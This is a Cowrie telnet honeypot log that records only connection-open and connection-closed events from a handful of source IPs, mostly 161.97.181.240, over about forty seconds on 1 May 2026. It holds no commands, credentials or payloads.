{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":39754,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b4200991943","protocol":"telnet","message":"New connection: 173.198.194.106:39754 (10.17.0.5:23) [session: 2b4200991943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:05.635723Z"}
{"eventid":"cowrie.session.closed","duration":31.520779132843018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:05.824325Z","src_ip":"161.97.181.240","session":"b9f2f762f43d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04560661315918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:06.036982Z","src_ip":"161.97.181.240","session":"360a02792b37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.450901985168457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:06.042445Z","src_ip":"161.97.181.240","session":"ce24bd8aa71b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02637481689453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:06.077583Z","src_ip":"161.97.181.240","session":"d1599dc6ff4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.002222299575806,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:06.329034Z","src_ip":"190.0.81.38","session":"3ff6b9f89933","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28740692138672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:06.529384Z","src_ip":"161.97.181.240","session":"9ea1cf854eae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876081466674805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:07.115602Z","src_ip":"161.97.181.240","session":"499d294ad614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.441370248794556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:08.010042Z","src_ip":"161.97.181.240","session":"3547f6e229d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.355758666992188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:08.020723Z","src_ip":"161.97.181.240","session":"516918eecbbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38126,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aae1cfcc502","protocol":"telnet","message":"New connection: 161.97.181.240:38126 (10.17.0.5:23) [session: 7aae1cfcc502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:08.152069Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38272,"dst_ip":"10.17.0.5","dst_port":23,"session":"b893b2e208aa","protocol":"telnet","message":"New connection: 161.97.181.240:38272 (10.17.0.5:23) [session: b893b2e208aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:08.193964Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":39092,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eb73eca5bd8","protocol":"telnet","message":"New connection: 161.97.181.240:39092 (10.17.0.5:23) [session: 4eb73eca5bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:08.490848Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":40282,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0c6f516cc59","protocol":"telnet","message":"New connection: 161.97.181.240:40282 (10.17.0.5:23) [session: e0c6f516cc59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:08.810045Z"}
{"eventid":"cowrie.session.closed","duration":30.504495859146118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:09.037749Z","src_ip":"161.97.181.240","session":"e79cc99e92ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.241440773010254,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:09.067025Z","src_ip":"45.63.42.31","session":"a81b49ee88ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13640856742859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:09.328387Z","src_ip":"161.97.181.240","session":"3e0112174556","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":42460,"dst_ip":"10.17.0.5","dst_port":23,"session":"a75fff45cd21","protocol":"telnet","message":"New connection: 161.97.181.240:42460 (10.17.0.5:23) [session: a75fff45cd21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:09.514091Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":42558,"dst_ip":"10.17.0.5","dst_port":23,"session":"4efe508c602a","protocol":"telnet","message":"New connection: 161.97.181.240:42558 (10.17.0.5:23) [session: 4efe508c602a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:09.554952Z"}
{"eventid":"cowrie.session.closed","duration":30.380229234695435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:10.199996Z","src_ip":"161.97.181.240","session":"430d91860478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":46100,"dst_ip":"10.17.0.5","dst_port":23,"session":"d99a21911faa","protocol":"telnet","message":"New connection: 161.97.181.240:46100 (10.17.0.5:23) [session: d99a21911faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:10.833860Z"}
{"eventid":"cowrie.session.closed","duration":30.43014621734619,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:11.020748Z","src_ip":"161.97.181.240","session":"a77a24ced73d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":49580,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c37255c752a","protocol":"telnet","message":"New connection: 161.97.181.240:49580 (10.17.0.5:23) [session: 8c37255c752a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:11.931960Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43308,"dst_ip":"10.17.0.5","dst_port":23,"session":"23bba86b2d55","protocol":"telnet","message":"New connection: 45.63.42.31:43308 (10.17.0.5:23) [session: 23bba86b2d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:12.326821Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52034,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6e818f9f009","protocol":"telnet","message":"New connection: 161.97.181.240:52034 (10.17.0.5:23) [session: b6e818f9f009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:12.733426Z"}
{"eventid":"cowrie.session.closed","duration":31.07278060913086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:12.816914Z","src_ip":"161.97.181.240","session":"cdd43029c583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":53698,"dst_ip":"10.17.0.5","dst_port":23,"session":"759fc6c409bb","protocol":"telnet","message":"New connection: 161.97.181.240:53698 (10.17.0.5:23) [session: 759fc6c409bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:13.178450Z"}
{"eventid":"cowrie.session.closed","duration":31.17764925956726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:13.210440Z","src_ip":"161.97.181.240","session":"169e3a07af24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51838254928589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:13.215663Z","src_ip":"161.97.181.240","session":"03c2ff0439ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.775717735290527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:13.325610Z","src_ip":"161.97.181.240","session":"e42c9278918a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52470564842224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:15.354057Z","src_ip":"161.97.181.240","session":"49af7ad5a1f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.54164242744446,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:16.443024Z","src_ip":"45.63.42.31","session":"15cf6df922cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.191160678863525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:17.479078Z","src_ip":"161.97.181.240","session":"91392394434f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":40028,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ad893b6ff3f","protocol":"telnet","message":"New connection: 161.97.181.240:40028 (10.17.0.5:23) [session: 2ad893b6ff3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:17.517802Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":42040,"dst_ip":"10.17.0.5","dst_port":23,"session":"14714f71d3f1","protocol":"telnet","message":"New connection: 161.97.181.240:42040 (10.17.0.5:23) [session: 14714f71d3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:18.189372Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":43460,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b62eadb4117","protocol":"telnet","message":"New connection: 161.97.181.240:43460 (10.17.0.5:23) [session: 8b62eadb4117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:18.575014Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":47516,"dst_ip":"10.17.0.5","dst_port":23,"session":"cad0cc1c5105","protocol":"telnet","message":"New connection: 161.97.181.240:47516 (10.17.0.5:23) [session: cad0cc1c5105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:19.791372Z"}
{"eventid":"cowrie.session.closed","duration":31.043492555618286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:19.999096Z","src_ip":"161.97.181.240","session":"d26ff46c35bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.134678840637207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:21.000041Z","src_ip":"161.97.181.240","session":"478fc521f626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83432698249817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:21.146932Z","src_ip":"161.97.181.240","session":"57a57e3b8208","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52890,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0d9ec2b1b8a","protocol":"telnet","message":"New connection: 161.97.181.240:52890 (10.17.0.5:23) [session: c0d9ec2b1b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:21.363917Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":53124,"dst_ip":"10.17.0.5","dst_port":23,"session":"dad229639130","protocol":"telnet","message":"New connection: 161.97.181.240:53124 (10.17.0.5:23) [session: dad229639130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:21.432264Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":53200,"dst_ip":"10.17.0.5","dst_port":23,"session":"0278a024f7fd","protocol":"telnet","message":"New connection: 161.97.181.240:53200 (10.17.0.5:23) [session: 0278a024f7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:21.453148Z"}
{"eventid":"cowrie.session.closed","duration":30.982940435409546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:22.118944Z","src_ip":"161.97.181.240","session":"331cc57a1bba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.361523389816284,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:22.787345Z","src_ip":"45.63.42.31","session":"1e3eb90aca41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":59464,"dst_ip":"10.17.0.5","dst_port":23,"session":"84cb621f0a6d","protocol":"telnet","message":"New connection: 161.97.181.240:59464 (10.17.0.5:23) [session: 84cb621f0a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:23.362093Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":33534,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef8bf04a0d5c","protocol":"telnet","message":"New connection: 161.97.181.240:33534 (10.17.0.5:23) [session: ef8bf04a0d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:24.029680Z"}
{"eventid":"cowrie.session.closed","duration":30.962522745132446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:24.426266Z","src_ip":"161.97.181.240","session":"3d4cfc0d089e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":37104,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddaef559ac18","protocol":"telnet","message":"New connection: 161.97.181.240:37104 (10.17.0.5:23) [session: ddaef559ac18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:25.144632Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":41848,"dst_ip":"10.17.0.5","dst_port":23,"session":"896f13e09043","protocol":"telnet","message":"New connection: 161.97.181.240:41848 (10.17.0.5:23) [session: 896f13e09043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:26.512707Z"}
{"eventid":"cowrie.session.closed","duration":30.32819175720215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:27.022790Z","src_ip":"161.97.181.240","session":"0b6d604f3dfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.450942039489746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:29.178584Z","src_ip":"161.97.181.240","session":"960b65f8b128","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":54102,"dst_ip":"10.17.0.5","dst_port":23,"session":"320b0e96b495","protocol":"telnet","message":"New connection: 161.97.181.240:54102 (10.17.0.5:23) [session: 320b0e96b495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:30.278421Z"}
{"eventid":"cowrie.session.closed","duration":30.701517581939697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:32.199573Z","src_ip":"161.97.181.240","session":"d2a745b9f1ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09576392173767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:33.003462Z","src_ip":"161.97.181.240","session":"1766917602d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51266050338745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:33.022923Z","src_ip":"161.97.181.240","session":"9d5987314b5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.265801906585693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:33.529192Z","src_ip":"161.97.181.240","session":"a443c919af53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":36836,"dst_ip":"10.17.0.5","dst_port":23,"session":"0271bc5c1459","protocol":"telnet","message":"New connection: 161.97.181.240:36836 (10.17.0.5:23) [session: 0271bc5c1459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:33.536584Z"}
{"eventid":"cowrie.session.closed","duration":30.86474609375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:33.996176Z","src_ip":"161.97.181.240","session":"82f86eedb550","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065863847732544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:34.105115Z","src_ip":"161.97.181.240","session":"0dbf92fed059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.786811590194702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:34.560552Z","src_ip":"161.97.181.240","session":"0cf94eccabff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.267776250839233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:36.903387Z","src_ip":"173.198.194.106","session":"2b4200991943","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":51942,"dst_ip":"10.17.0.5","dst_port":23,"session":"dad1863344b0","protocol":"telnet","message":"New connection: 161.97.181.240:51942 (10.17.0.5:23) [session: dad1863344b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:38.120277Z"}
{"eventid":"cowrie.session.closed","duration":30.5037944316864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:38.994527Z","src_ip":"161.97.181.240","session":"4eb73eca5bd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.852001190185547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:39.003966Z","src_ip":"161.97.181.240","session":"7aae1cfcc502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.302632570266724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:39.112593Z","src_ip":"161.97.181.240","session":"e0c6f516cc59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94315004348755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:39.136982Z","src_ip":"161.97.181.240","session":"b893b2e208aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":44044,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fd62a783988","protocol":"telnet","message":"New connection: 45.63.42.31:44044 (10.17.0.5:23) [session: 5fd62a783988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:39.629569Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":49786,"dst_ip":"10.17.0.5","dst_port":23,"session":"0428c570f9c8","protocol":"telnet","message":"New connection: 103.115.172.252:49786 (10.17.0.5:23) [session: 0428c570f9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:39.692493Z"}
{"eventid":"cowrie.session.closed","duration":30.66843867301941,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:40.182408Z","src_ip":"161.97.181.240","session":"a75fff45cd21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.9718999862670898,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:40.664316Z","src_ip":"103.115.172.252","session":"0428c570f9c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2046902179718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:40.759499Z","src_ip":"161.97.181.240","session":"4efe508c602a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.172569513320923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:41.006302Z","src_ip":"161.97.181.240","session":"d99a21911faa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":36356,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91968015c92","protocol":"telnet","message":"New connection: 161.97.181.240:36356 (10.17.0.5:23) [session: f91968015c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:41.823253Z"}
{"eventid":"cowrie.session.closed","duration":30.387085437774658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:43.120379Z","src_ip":"161.97.181.240","session":"b6e818f9f009","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.214020490646362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:43.145714Z","src_ip":"161.97.181.240","session":"8c37255c752a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888933658599854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:44.067207Z","src_ip":"161.97.181.240","session":"759fc6c409bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":43882,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0cd1f209429","protocol":"telnet","message":"New connection: 161.97.181.240:43882 (10.17.0.5:23) [session: b0cd1f209429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:44.212409Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44148,"dst_ip":"10.17.0.5","dst_port":23,"session":"23da2c4bfb11","protocol":"telnet","message":"New connection: 161.97.181.240:44148 (10.17.0.5:23) [session: 23da2c4bfb11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:44.310723Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":45052,"dst_ip":"10.17.0.5","dst_port":23,"session":"1595d76c821d","protocol":"telnet","message":"New connection: 161.97.181.240:45052 (10.17.0.5:23) [session: 1595d76c821d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:44.635166Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":45162,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9c833450b29","protocol":"telnet","message":"New connection: 161.97.181.240:45162 (10.17.0.5:23) [session: d9c833450b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:44.681215Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":43556,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad9bb36ce0c4","protocol":"telnet","message":"New connection: 161.97.181.240:43556 (10.17.0.5:23) [session: ad9bb36ce0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:45.072647Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":59962,"dst_ip":"10.17.0.5","dst_port":23,"session":"3181cdb0c464","protocol":"telnet","message":"New connection: 45.63.42.31:59962 (10.17.0.5:23) [session: 3181cdb0c464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:46.596273Z"}
